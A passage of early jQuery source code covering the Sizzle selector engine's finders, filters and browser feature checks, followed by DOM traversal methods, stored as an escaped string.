= dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !/\\W/.test(part) ) {\n\t\t\t\tvar nodeCheck = part = part.toLowerCase();\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn(\"previousSibling\", part, doneName, checkSet, nodeCheck, isXML);\n\t\t}\n\t},\n\tfind: {\n\t\tID: function(match, context, isXML){\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\t\t\t\treturn m ? [m] : [];\n\t\t\t}\n\t\t},\n\t\tNAME: function(match, context){\n\t\t\tif ( typeof context.getElementsByName !== \"undefined\" ) {\n\t\t\t\tvar ret = [], results = context.getElementsByName(match[1]);\n\n\t\t\t\tfor ( var i = 0, l = results.length; i < l; i++ ) {\n\t\t\t\t\tif ( results[i].getAttribute(\"name\") === match[1] ) {\n\t\t\t\t\t\tret.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn ret.length === 0 ? null : ret;\n\t\t\t}\n\t\t},\n\t\tTAG: function(match, context){\n\t\t\treturn context.getElementsByTagName(match[1]);\n\t\t}\n\t},\n\tpreFilter: {\n\t\tCLASS: function(match, curLoop, inplace, result, not, isXML){\n\t\t\tmatch = \" \" + match[1].replace(/\\\\/g, \"\") + \" \";\n\n\t\t\tif ( isXML ) {\n\t\t\t\treturn match;\n\t\t\t}\n\n\t\t\tfor ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {\n\t\t\t\tif ( elem ) {\n\t\t\t\t\tif ( not ^ (elem.className && (\" \" + elem.className + \" \").replace(/[\\t\\n]/g, \" \").indexOf(match) >= 0) ) {\n\t\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\t\tresult.push( elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if ( inplace ) {\n\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t},\n\t\tID: function(match){\n\t\t\treturn match[1].replace(/\\\\/g, \"\");\n\t\t},\n\t\tTAG: function(match, curLoop){\n\t\t\treturn match[1].toLowerCase();\n\t\t},\n\t\tCHILD: function(match){\n\t\t\tif ( match[1] === \"nth\" ) {\n\t\t\t\t// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'\n\t\t\t\tvar test = /(-?)(\\d*)n((?:\\+|-)?\\d*)/.exec(\n\t\t\t\t\tmatch[2] === \"even\" && \"2n\" || match[2] === \"odd\" && \"2n+1\" ||\n\t\t\t\t\t!/\\D/.test( match[2] ) && \"0n+\" + match[2] || match[2]);\n\n\t\t\t\t// calculate the numbers (first)n+(last) including if they are negative\n\t\t\t\tmatch[2] = (test[1] + (test[2] || 1)) - 0;\n\t\t\t\tmatch[3] = test[3] - 0;\n\t\t\t}\n\n\t\t\t// TODO: Move to normal caching system\n\t\t\tmatch[0] = done++;\n\n\t\t\treturn match;\n\t\t},\n\t\tATTR: function(match, curLoop, inplace, result, not, isXML){\n\t\t\tvar name = match[1].replace(/\\\\/g, \"\");\n\t\t\t\n\t\t\tif ( !isXML && Expr.attrMap[name] ) {\n\t\t\t\tmatch[1] = Expr.attrMap[name];\n\t\t\t}\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[4] = \" \" + match[4] + \" \";\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\t\tPSEUDO: function(match, curLoop, inplace, result, not){\n\t\t\tif ( match[1] === \"not\" ) {\n\t\t\t\t// If we're dealing with a complex expression, or a simple one\n\t\t\t\tif ( ( chunker.exec(match[3]) || \"\" ).length > 1 || /^\\w/.test(match[3]) ) {\n\t\t\t\t\tmatch[3] = Sizzle(match[3], null, null, curLoop);\n\t\t\t\t} else {\n\t\t\t\t\tvar ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tresult.push.apply( result, ret );\n\t\t\t\t\t}\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t\n\t\t\treturn match;\n\t\t},\n\t\tPOS: function(match){\n\t\t\tmatch.unshift( true );\n\t\t\treturn match;\n\t\t}\n\t},\n\tfilters: {\n\t\tenabled: function(elem){\n\t\t\treturn elem.disabled === false && elem.type !== \"hidden\";\n\t\t},\n\t\tdisabled: function(elem){\n\t\t\treturn elem.disabled === true;\n\t\t},\n\t\tchecked: function(elem){\n\t\t\treturn elem.checked === true;\n\t\t},\n\t\tselected: function(elem){\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\telem.parentNode.selectedIndex;\n\t\t\treturn elem.selected === true;\n\t\t},\n\t\tparent: function(elem){\n\t\t\treturn !!elem.firstChild;\n\t\t},\n\t\tempty: function(elem){\n\t\t\treturn !elem.firstChild;\n\t\t},\n\t\thas: function(elem, i, match){\n\t\t\treturn !!Sizzle( match[3], elem ).length;\n\t\t},\n\t\theader: function(elem){\n\t\t\treturn /h\\d/i.test( elem.nodeName );\n\t\t},\n\t\ttext: function(elem){\n\t\t\treturn \"text\" === elem.type;\n\t\t},\n\t\tradio: function(elem){\n\t\t\treturn \"radio\" === elem.type;\n\t\t},\n\t\tcheckbox: function(elem){\n\t\t\treturn \"checkbox\" === elem.type;\n\t\t},\n\t\tfile: function(elem){\n\t\t\treturn \"file\" === elem.type;\n\t\t},\n\t\tpassword: function(elem){\n\t\t\treturn \"password\" === elem.type;\n\t\t},\n\t\tsubmit: function(elem){\n\t\t\treturn \"submit\" === elem.type;\n\t\t},\n\t\timage: function(elem){\n\t\t\treturn \"image\" === elem.type;\n\t\t},\n\t\treset: function(elem){\n\t\t\treturn \"reset\" === elem.type;\n\t\t},\n\t\tbutton: function(elem){\n\t\t\treturn \"button\" === elem.type || elem.nodeName.toLowerCase() === \"button\";\n\t\t},\n\t\tinput: function(elem){\n\t\t\treturn /input|select|textarea|button/i.test(elem.nodeName);\n\t\t}\n\t},\n\tsetFilters: {\n\t\tfirst: function(elem, i){\n\t\t\treturn i === 0;\n\t\t},\n\t\tlast: function(elem, i, match, array){\n\t\t\treturn i === array.length - 1;\n\t\t},\n\t\teven: function(elem, i){\n\t\t\treturn i % 2 === 0;\n\t\t},\n\t\todd: function(elem, i){\n\t\t\treturn i % 2 === 1;\n\t\t},\n\t\tlt: function(elem, i, match){\n\t\t\treturn i < match[3] - 0;\n\t\t},\n\t\tgt: function(elem, i, match){\n\t\t\treturn i > match[3] - 0;\n\t\t},\n\t\tnth: function(elem, i, match){\n\t\t\treturn match[3] - 0 === i;\n\t\t},\n\t\teq: function(elem, i, match){\n\t\t\treturn match[3] - 0 === i;\n\t\t}\n\t},\n\tfilter: {\n\t\tPSEUDO: function(elem, match, i, array){\n\t\t\tvar name = match[1], filter = Expr.filters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\t\t\t} else if ( name === \"contains\" ) {\n\t\t\t\treturn (elem.textContent || elem.innerText || getText([ elem ]) || \"\").indexOf(match[3]) >= 0;\n\t\t\t} else if ( name === \"not\" ) {\n\t\t\t\tvar not = match[3];\n\n\t\t\t\tfor ( var i = 0, l = not.length; i < l; i++ ) {\n\t\t\t\t\tif ( not[i] === elem ) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\tSizzle.error( \"Syntax error, unrecognized expression: \" + name );\n\t\t\t}\n\t\t},\n\t\tCHILD: function(elem, match){\n\t\t\tvar type = match[1], node = elem;\n\t\t\tswitch (type) {\n\t\t\t\tcase 'only':\n\t\t\t\tcase 'first':\n\t\t\t\t\twhile ( (node = node.previousSibling) )\t {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) { \n\t\t\t\t\t\t\treturn false; \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( type === \"first\" ) { \n\t\t\t\t\t\treturn true; \n\t\t\t\t\t}\n\t\t\t\t\tnode = elem;\n\t\t\t\tcase 'last':\n\t\t\t\t\twhile ( (node = node.nextSibling) )\t {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) { \n\t\t\t\t\t\t\treturn false; \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn true;\n\t\t\t\tcase 'nth':\n\t\t\t\t\tvar first = match[2], last = match[3];\n\n\t\t\t\t\tif ( first === 1 && last === 0 ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tvar doneName = match[0],\n\t\t\t\t\t\tparent = elem.parentNode;\n\t\n\t\t\t\t\tif ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {\n\t\t\t\t\t\tvar count = 0;\n\t\t\t\t\t\tfor ( node = parent.firstChild; node; node = node.nextSibling ) {\n\t\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\t\tnode.nodeIndex = ++count;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} \n\t\t\t\t\t\tparent.sizcache = doneName;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tvar diff = elem.nodeIndex - last;\n\t\t\t\t\tif ( first === 0 ) {\n\t\t\t\t\t\treturn diff === 0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tID: function(elem, match){\n\t\t\treturn elem.nodeType === 1 && elem.getAttribute(\"id\") === match;\n\t\t},\n\t\tTAG: function(elem, match){\n\t\t\treturn (match === \"*\" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match;\n\t\t},\n\t\tCLASS: function(elem, match){\n\t\t\treturn (\" \" + (elem.className || elem.getAttribute(\"class\")) + \" \")\n\t\t\t\t.indexOf( match ) > -1;\n\t\t},\n\t\tATTR: function(elem, match){\n\t\t\tvar name = match[1],\n\t\t\t\tresult = Expr.attrHandle[ name ] ?\n\t\t\t\t\tExpr.attrHandle[ name ]( elem ) :\n\t\t\t\t\telem[ name ] != null ?\n\t\t\t\t\t\telem[ name ] :\n\t\t\t\t\t\telem.getAttribute( name ),\n\t\t\t\tvalue = result + \"\",\n\t\t\t\ttype = match[2],\n\t\t\t\tcheck = match[4];\n\n\t\t\treturn result == null ?\n\t\t\t\ttype === \"!=\" :\n\t\t\t\ttype === \"=\" ?\n\t\t\t\tvalue === check :\n\t\t\t\ttype === \"*=\" ?\n\t\t\t\tvalue.indexOf(check) >= 0 :\n\t\t\t\ttype === \"~=\" ?\n\t\t\t\t(\" \" + value + \" \").indexOf(check) >= 0 :\n\t\t\t\t!check ?\n\t\t\t\tvalue && result !== false :\n\t\t\t\ttype === \"!=\" ?\n\t\t\t\tvalue !== check :\n\t\t\t\ttype === \"^=\" ?\n\t\t\t\tvalue.indexOf(check) === 0 :\n\t\t\t\ttype === \"$=\" ?\n\t\t\t\tvalue.substr(value.length - check.length) === check :\n\t\t\t\ttype === \"|=\" ?\n\t\t\t\tvalue === check || value.substr(0, check.length + 1) === check + \"-\" :\n\t\t\t\tfalse;\n\t\t},\n\t\tPOS: function(elem, match, i, array){\n\t\t\tvar name = match[2], filter = Expr.setFilters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar origPOS = Expr.match.POS;\n\nfor ( var type in Expr.match ) {\n\tExpr.match[ type ] = new RegExp( Expr.match[ type ].source + /(?![^\\[]*\\])(?![^\\(]*\\))/.source );\n\tExpr.leftMatch[ type ] = new RegExp( /(^(?:.|\\r|\\n)*?)/.source + Expr.match[ type ].source.replace(/\\\\(\\d+)/g, function(all, num){\n\t\treturn \"\\\\\" + (num - 0 + 1);\n\t}));\n}\n\nvar makeArray = function(array, results) {\n\tarray = Array.prototype.slice.call( array, 0 );\n\n\tif ( results ) {\n\t\tresults.push.apply( results, array );\n\t\treturn results;\n\t}\n\t\n\treturn array;\n};\n\n// Perform a simple check to determine if the browser is capable of\n// converting a NodeList to an array using builtin methods.\ntry {\n\tArray.prototype.slice.call( document.documentElement.childNodes, 0 );\n\n// Provide a fallback method if it does not work\n} catch(e){\n\tmakeArray = function(array, results) {\n\t\tvar ret = results || [];\n\n\t\tif ( toString.call(array) === \"[object Array]\" ) {\n\t\t\tArray.prototype.push.apply( ret, array );\n\t\t} else {\n\t\t\tif ( typeof array.length === \"number\" ) {\n\t\t\t\tfor ( var i = 0, l = array.length; i < l; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( var i = 0; array[i]; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nvar sortOrder;\n\nif ( document.documentElement.compareDocumentPosition ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {\n\t\t\tif ( a == b ) {\n\t\t\t\thasDuplicate = true;\n\t\t\t}\n\t\t\treturn a.compareDocumentPosition ? -1 : 1;\n\t\t}\n\n\t\tvar ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1;\n\t\tif ( ret === 0 ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn ret;\n\t};\n} else if ( \"sourceIndex\" in document.documentElement ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( !a.sourceIndex || !b.sourceIndex ) {\n\t\t\tif ( a == b ) {\n\t\t\t\thasDuplicate = true;\n\t\t\t}\n\t\t\treturn a.sourceIndex ? -1 : 1;\n\t\t}\n\n\t\tvar ret = a.sourceIndex - b.sourceIndex;\n\t\tif ( ret === 0 ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn ret;\n\t};\n} else if ( document.createRange ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( !a.ownerDocument || !b.ownerDocument ) {\n\t\t\tif ( a == b ) {\n\t\t\t\thasDuplicate = true;\n\t\t\t}\n\t\t\treturn a.ownerDocument ? -1 : 1;\n\t\t}\n\n\t\tvar aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange();\n\t\taRange.setStart(a, 0);\n\t\taRange.setEnd(a, 0);\n\t\tbRange.setStart(b, 0);\n\t\tbRange.setEnd(b, 0);\n\t\tvar ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange);\n\t\tif ( ret === 0 ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn ret;\n\t};\n}\n\n// Utility function for retreiving the text value of an array of DOM nodes\nfunction getText( elems ) {\n\tvar ret = \"\", elem;\n\n\tfor ( var i = 0; elems[i]; i++ ) {\n\t\telem = elems[i];\n\n\t\t// Get the text from text nodes and CDATA nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 4 ) {\n\t\t\tret += elem.nodeValue;\n\n\t\t// Traverse everything else, except comment nodes\n\t\t} else if ( elem.nodeType !== 8 ) {\n\t\t\tret += getText( elem.childNodes );\n\t\t}\n\t}\n\n\treturn ret;\n}\n\n// Check to see if the browser returns elements by name when\n// querying by getElementById (and provide a workaround)\n(function(){\n\t// We're going to inject a fake input element with a specified name\n\tvar form = document.createElement(\"div\"),\n\t\tid = \"script\" + (new Date).getTime();\n\tform.innerHTML = \"<a name='\" + id + \"'/>\";\n\n\t// Inject it into the root element, check its status, and remove it quickly\n\tvar root = document.documentElement;\n\troot.insertBefore( form, root.firstChild );\n\n\t// The workaround has to do additional checks after a getElementById\n\t// Which slows things down for other browsers (hence the branching)\n\tif ( document.getElementById( id ) ) {\n\t\tExpr.find.ID = function(match, context, isXML){\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\t\t\t\treturn m ? m.id === match[1] || typeof m.getAttributeNode !== \"undefined\" && m.getAttributeNode(\"id\").nodeValue === match[1] ? [m] : undefined : [];\n\t\t\t}\n\t\t};\n\n\t\tExpr.filter.ID = function(elem, match){\n\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" && elem.getAttributeNode(\"id\");\n\t\t\treturn elem.nodeType === 1 && node && node.nodeValue === match;\n\t\t};\n\t}\n\n\troot.removeChild( form );\n\troot = form = null; // release memory in IE\n})();\n\n(function(){\n\t// Check to see if the browser returns only elements\n\t// when doing getElementsByTagName(\"*\")\n\n\t// Create a fake element\n\tvar div = document.createElement(\"div\");\n\tdiv.appendChild( document.createComment(\"\") );\n\n\t// Make sure no comments are found\n\tif ( div.getElementsByTagName(\"*\").length > 0 ) {\n\t\tExpr.find.TAG = function(match, context){\n\t\t\tvar results = context.getElementsByTagName(match[1]);\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( match[1] === \"*\" ) {\n\t\t\t\tvar tmp = [];\n\n\t\t\t\tfor ( var i = 0; results[i]; i++ ) {\n\t\t\t\t\tif ( results[i].nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresults = tmp;\n\t\t\t}\n\n\t\t\treturn results;\n\t\t};\n\t}\n\n\t// Check to see if an attribute returns normalized href attributes\n\tdiv.innerHTML = \"<a href='#'></a>\";\n\tif ( div.firstChild && typeof div.firstChild.getAttribute !== \"undefined\" &&\n\t\t\tdiv.firstChild.getAttribute(\"href\") !== \"#\" ) {\n\t\tExpr.attrHandle.href = function(elem){\n\t\t\treturn elem.getAttribute(\"href\", 2);\n\t\t};\n\t}\n\n\tdiv = null; // release memory in IE\n})();\n\nif ( document.querySelectorAll ) {\n\t(function(){\n\t\tvar oldSizzle = Sizzle, div = document.createElement(\"div\");\n\t\tdiv.innerHTML = \"<p class='TEST'></p>\";\n\n\t\t// Safari can't handle uppercase or unicode characters when\n\t\t// in quirks mode.\n\t\tif ( div.querySelectorAll && div.querySelectorAll(\".TEST\").length === 0 ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\tSizzle = function(query, context, extra, seed){\n\t\t\tcontext = context || document;\n\n\t\t\t// Only use querySelectorAll on non-XML documents\n\t\t\t// (ID selectors don't work in non-HTML documents)\n\t\t\tif ( !seed && context.nodeType === 9 && !isXML(context) ) {\n\t\t\t\ttry {\n\t\t\t\t\treturn makeArray( context.querySelectorAll(query), extra );\n\t\t\t\t} catch(e){}\n\t\t\t}\n\t\t\n\t\t\treturn oldSizzle(query, context, extra, seed);\n\t\t};\n\n\t\tfor ( var prop in oldSizzle ) {\n\t\t\tSizzle[ prop ] = oldSizzle[ prop ];\n\t\t}\n\n\t\tdiv = null; // release memory in IE\n\t})();\n}\n\n(function(){\n\tvar div = document.createElement(\"div\");\n\n\tdiv.innerHTML = \"<div class='test e'></div><div class='test'></div>\";\n\n\t// Opera can't find a second classname (in 9.6)\n\t// Also, make sure that getElementsByClassName actually exists\n\tif ( !div.getElementsByClassName || div.getElementsByClassName(\"e\").length === 0 ) {\n\t\treturn;\n\t}\n\n\t// Safari caches class attributes, doesn't catch changes (in 3.2)\n\tdiv.lastChild.className = \"e\";\n\n\tif ( div.getElementsByClassName(\"e\").length === 1 ) {\n\t\treturn;\n\t}\n\t\n\tExpr.order.splice(1, 0, \"CLASS\");\n\tExpr.find.CLASS = function(match, context, isXML) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && !isXML ) {\n\t\t\treturn context.getElementsByClassName(match[1]);\n\t\t}\n\t};\n\n\tdiv = null; // release memory in IE\n})();\n\nfunction dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\t\tif ( elem ) {\n\t\t\telem = elem[dir];\n\t\t\tvar match = false;\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem.sizcache === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 && !isXML ){\n\t\t\t\t\telem.sizcache = doneName;\n\t\t\t\t\telem.sizset = i;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeName.toLowerCase() === cur ) {\n\t\t\t\t\tmatch = elem;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nfunction dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\t\tif ( elem ) {\n\t\t\telem = elem[dir];\n\t\t\tvar match = false;\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem.sizcache === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !isXML ) {\n\t\t\t\t\t\telem.sizcache = doneName;\n\t\t\t\t\t\telem.sizset = i;\n\t\t\t\t\t}\n\t\t\t\t\tif ( typeof cur !== \"string\" ) {\n\t\t\t\t\t\tif ( elem === cur ) {\n\t\t\t\t\t\t\tmatch = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {\n\t\t\t\t\t\tmatch = elem;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nvar contains = document.compareDocumentPosition ? function(a, b){\n\treturn a.compareDocumentPosition(b) & 16;\n} : function(a, b){\n\treturn a !== b && (a.contains ? a.contains(b) : true);\n};\n\nvar isXML = function(elem){\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833) \n\tvar documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\nvar posProcess = function(selector, context){\n\tvar tmpSet = [], later = \"\", match,\n\t\troot = context.nodeType ? [context] : context;\n\n\t// Position selectors must be done after the filter\n\t// And so must :not(positional) so we move all PSEUDOs to the end\n\twhile ( (match = Expr.match.PSEUDO.exec( selector )) ) {\n\t\tlater += match[0];\n\t\tselector = selector.replace( Expr.match.PSEUDO, \"\" );\n\t}\n\n\tselector = Expr.relative[selector] ? selector + \"*\" : selector;\n\n\tfor ( var i = 0, l = root.length; i < l; i++ ) {\n\t\tSizzle( selector, root[i], tmpSet );\n\t}\n\n\treturn Sizzle.filter( later, tmpSet );\n};\n\n// EXPOSE\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\njQuery.expr[\":\"] = jQuery.expr.filters;\njQuery.unique = Sizzle.uniqueSort;\njQuery.getText = getText;\njQuery.isXMLDoc = isXML;\njQuery.contains = contains;\n\nreturn;\n\nwindow.Sizzle = Sizzle;\n\n})();\nvar runtil = /Until$/,\n\trparentsprev = /^(?:parents|prevUntil|prevAll)/,\n\t// Note: This RegExp should be improved, or likely pulled from Sizzle\n\trmultiselector = /,/,\n\tslice = Array.prototype.slice;\n\n// Implement the identical functionality for filter and not\nvar winnow = function( elements, qualifier, keep ) {\n\tif ( jQuery.isFunction( qualifier ) ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\treturn !!qualifier.call( elem, i, elem ) === keep;\n\t\t});\n\n\t} else if ( qualifier.nodeType ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\treturn (elem === qualifier) === keep;\n\t\t});\n\n\t} else if ( typeof qualifier === \"string\" ) {\n\t\tvar filtered = jQuery.grep(elements, function( elem ) {\n\t\t\treturn elem.nodeType === 1;\n\t\t});\n\n\t\tif ( isSimple.test( qualifier ) ) {\n\t\t\treturn jQuery.filter(qualifier, filtered, !keep);\n\t\t} else {\n\t\t\tqualifier = jQuery.filter( qualifier, filtered );\n\t\t}\n\t}\n\n\treturn jQuery.grep(elements, function( elem, i ) {\n\t\treturn (jQuery.inArray( elem, qualifier ) >= 0) === keep;\n\t});\n};\n\njQuery.fn.extend({\n\tfind: function( selector ) {\n\t\tvar ret = this.pushStack( \"\", \"find\", selector ), length = 0;\n\n\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\tlength = ret.length;\n\t\t\tjQuery.find( selector, this[i], ret );\n\n\t\t\tif ( i > 0 ) {\n\t\t\t\t// Make sure that the results are unique\n\t\t\t\tfor ( var n = length; n < ret.length; n++ ) {\n\t\t\t\t\tfor ( var r = 0; r < length; r++ ) {\n\t\t\t\t\t\tif ( ret[r] === ret[n] ) {\n\t\t\t\t\t\t\tret.splice(n--, 1);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\thas: function( target ) {\n\t\tvar targets = jQuery( target );\n\t\treturn this.filter(function() {\n\t\t\tfor ( var i = 0, l = targets.length; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[i] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t},\n\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, false), \"not\", selector);\n\t},\n\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, true), \"filter\", selector );\n\t},\n\t\n\tis: function( selector ) {\n\t\treturn !!selector && jQuery.filter( selector, this ).length > 0;\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tif ( jQuery.isArray( selectors ) ) {\n\t\t\tvar ret = [], cur = this[0], match, matches = {}, selector;\n\n\t\t\tif ( cur && selectors.length ) {\n\t\t\t\tfor ( var i = 0, l = selectors.length; i < l; i++ ) {\n\t\t\t\t\tselector = selectors[i];\n\n\t\t\t\t\tif ( !matches[selector] ) {\n\t\t\t\t\t\tmatches[selector] = jQuery.expr.match.POS.test( selector ) ? \n\t\t\t\t\t\t\tjQuery( selector, context || this.context ) :\n\t\t\t\t\t\t\tselector;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\twhile ( cur && cur.ownerDocument && cur !== context ) {\n\t\t\t\t\tfor ( selector in matches ) {\n\t\t\t\t\t\tmatch = matches[selector];\n\n\t\t\t\t\t\tif ( match.jquery ? match.index(cur) > -1 : jQuery(cur).is(match) ) {\n\t\t\t\t\t\t\tret.push({ selector: selector, elem: cur });\n\t\t\t\t\t\t\tdelete matches[selector];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcur = cur.parentNode;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ret;\n\t\t}\n\n\t\tvar pos = jQuery.expr.match.POS.test( selectors ) ? \n\t\t\tjQuery( selectors, context || this.context ) : null;\n\n\t\treturn this.map(function( i, cur ) {\n\t\t\twhile ( cur && cur.ownerDocument && cur !== context ) {\n\t\t\t\tif ( pos ? pos.index(cur) > -1 : jQuery(cur).is(selectors) ) {\n\t\t\t\t\treturn cur;\n\t\t\t\t}\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\treturn null;\n\t\t});\n\t},\n\t\n\t// Determine the position of an element within\n\t// the matched set of elements\n\tindex: function( elem ) {\n\t\tif ( !elem || typeof elem === \"string\" ) {\n\t\t\treturn jQuery.inArray( this[0],\n\t\t\t\t// If it receives a string, the selector is used\n\t\t\t\t// If it receives nothing, the siblings are used\n\t\t\t\telem ? jQuery( elem ) : this.parent().children() );\n\t\t}\n\t\t// Locate the position of the desired element\n\t\treturn jQuery.inArray(\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[0] : elem, this );\n\t},\n\n\tadd: function( selector, context ) {\n\t\tvar set = typeof selector === \"string\" ?\n\t\t\t\tjQuery( selector, context || this.context ) :\n\t\t\t\tjQuery.makeArray( selector ),\n\t\t\tall = jQuery.merge( this.get(), set );\n\n\t\treturn this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?\n\t\t\tall :\n\t\t\tjQuery.unique( all ) );\n\t},\n\n\tandSelf: function() {\n\t\treturn this.add( this.prevObject );\n\t}\n});\n\n// A painfully simple check to see if an element is disconnected\n// from a document (should be improved, where feasible).\nfunction isDisconnected( node ) {\n\treturn !node || !node.parentNode || node.parentNode.nodeType === 11;\n}\n\njQuery.each({\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn jQuery.dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\", until 